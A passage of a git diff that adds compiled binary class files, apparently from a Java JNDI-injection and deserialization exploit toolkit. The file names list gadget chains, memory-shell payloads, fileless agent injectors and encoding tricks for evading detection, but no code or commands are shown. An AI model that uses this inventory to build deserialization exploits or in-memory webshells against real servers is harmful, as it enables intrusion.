b/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class new file mode 100644 index 0000000..aed7ec1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class new file mode 100644 index 0000000..0c2d570 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class b/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class new file mode 100644 index 0000000..1463331 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class new file mode 100644 index 0000000..844c3f5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class new file mode 100644 index 0000000..ed685c4 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class b/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class new file mode 100644 index 0000000..94d8236 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class new file mode 100644 index 0000000..ec6df9d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class new file mode 100644 index 0000000..e2ae1b4 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class new file mode 100644 index 0000000..61f1666 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class new file mode 100644 index 0000000..b4ee9bd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class new file mode 100644 index 0000000..11106f3 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class new file mode 100644 index 0000000..100e157 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class new file mode 100644 index 0000000..5d87e06 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class new file mode 100644 index 0000000..2fda722 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class new file mode 100644 index 0000000..e6f90dd Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class new file mode 100644 index 0000000..c90f9ca Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class new file mode 100644 index 0000000..329f0fc Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class b/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class new file mode 100644 index 0000000..4f5a51c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class b/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class new file mode 100644 index 0000000..ae8b1b9 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class b/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class new file mode 100644 index 0000000..e54bf16 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class new file mode 100644 index 0000000..1ddb7a6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class new file mode 100644 index 0000000..e907422 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class new file mode 100644 index 0000000..d3fbec1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class new file mode 100644 index 0000000..cafd069 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class b/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class new file mode 100644 index 0000000..8c609d8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class new file mode 100644 index 0000000..38d0cad Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class new file mode 100644 index 0000000..8d165e2 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class new file mode 100644 index 0000000..b7fbf75 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class new file mode 100644 index 0000000..0ee620b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class new file mode 100644 index 0000000..0e85024 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class new file mode 100644 index 0000000..6a9f71f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ROME.class b/out/production/classes/com/qi4l/jndi/gadgets/ROME.class new file mode 100644 index 0000000..0717104 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ROME.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class b/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class new file mode 100644 index 0000000..312898c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class b/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class new file mode 100644 index 0000000..bc8d77c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class b/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class new file mode 100644 index 0000000..b7f420a Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class b/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class new file mode 100644 index 0000000..56c135e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class new file mode 100644 index 0000000..df01f63 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class new file mode 100644 index 0000000..928d501 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class new file mode 100644 index 0000000..e171bba Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class b/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class new file mode 100644 index 0000000..2897d96 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class b/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class new file mode 100644 index 0000000..636ef6f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class b/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class new file mode 100644 index 0000000..e6a6d40 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class new file mode 100644 index 0000000..4904b64 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class new file mode 100644 index 0000000..88cafd8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class new file mode 100644 index 0000000..3ff867f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class new file mode 100644 index 0000000..7a16459 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class new file mode 100644 index 0000000..2919e1b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class new file mode 100644 index 0000000..f01377b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class new file mode 100644 index 0000000..0da657b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class new file mode 100644 index 0000000..1e4171e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class new file mode 100644 index 0000000..56fdd5b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class new file mode 100644 index 0000000..e5a8285 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class new file mode 100644 index 0000000..596ee40 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class new file mode 100644 index 0000000..370b4aa Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class new file mode 100644 index 0000000..5903e78 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class new file mode 100644 index 0000000..2c41656 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class new file mode 100644 index 0000000..8f15e7c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class new file mode 100644 index 0000000..ff2f97c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class new file mode 100644 index 0000000..bfce370 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class new file mode 100644 index 0000000..dede688 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class new file mode 100644 index 0000000..babb0bb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class new file mode 100644 index 0000000..7b7abb7 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class new file mode 100644 index 0000000..661f3db Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class new file mode 100644 index 0000000..72eb032 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class new file mode 100644 index 0000000..89741cc Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class new file mode 100644 index 0000000..11eed8f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class new file mode 100644 index 0000000..85c3ce5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class new file mode 100644 index 0000000..68db6a1 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class new file mode 100644 index 0000000..5a15201 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class new file mode 100644 index 0000000..e7ad28b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class new file mode 100644 index 0000000..efdab84 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class new file mode 100644 index 0000000..1c09b2f Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class new file mode 100644 index 0000000..24e27f4 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class new file mode 100644 index 0000000..206406c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class new file mode 100644 index 0000000..1ca45ab Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class new file mode 100644 index 0000000..a4431bf Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class new file mode 100644 index 0000000..e7d42f8 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class new file mode 100644 index 0000000..dce6a28 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class new file mode 100644 index 0000000..4611ba6 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class new file mode 100644 index 0000000..1bd4951 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class new file mode 100644 index 0000000..df4f8fb Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class new file mode 100644 index 0000000..459c5f5 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class new file mode 100644 index 0000000..1ce0012 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class new file mode 100644 index 0000000..6d7d3d9 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class new file mode 100644 index 0000000..b5ddb03 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class new file mode 100644 index 0000000..512451e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class new file mode 100644 index 0000000..4696781 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class new file mode 100644 index 0000000..95a925e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class new file mode 100644 index 0000000..5700c3b Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class new file mode 100644 index 0000000..2147b66 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class new file mode 100644 index 0000000..f13a25c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class new file mode 100644 index 0000000..de82531 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class new file mode 100644 index 0000000..2b3ebfc Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class new file mode 100644 index 0000000..555997d Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class new file mode 100644 index 0000000..5d85693 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class new file mode 100644 index 0000000..6b0c69e Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class new file mode 100644 index 0000000..d6b60cf Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class differ diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class new file mode 100644 index 0000000..c65acf0 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class new file mode 100644 index 0000000..f0b1811 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class new file mode 100644 index 0000000..555276c Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class new file mode 100644 index 0000000..8bf2b25 Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class differ diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class b/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class new file mode 100644 index 0000000..b4a272b Binary files /dev/null and 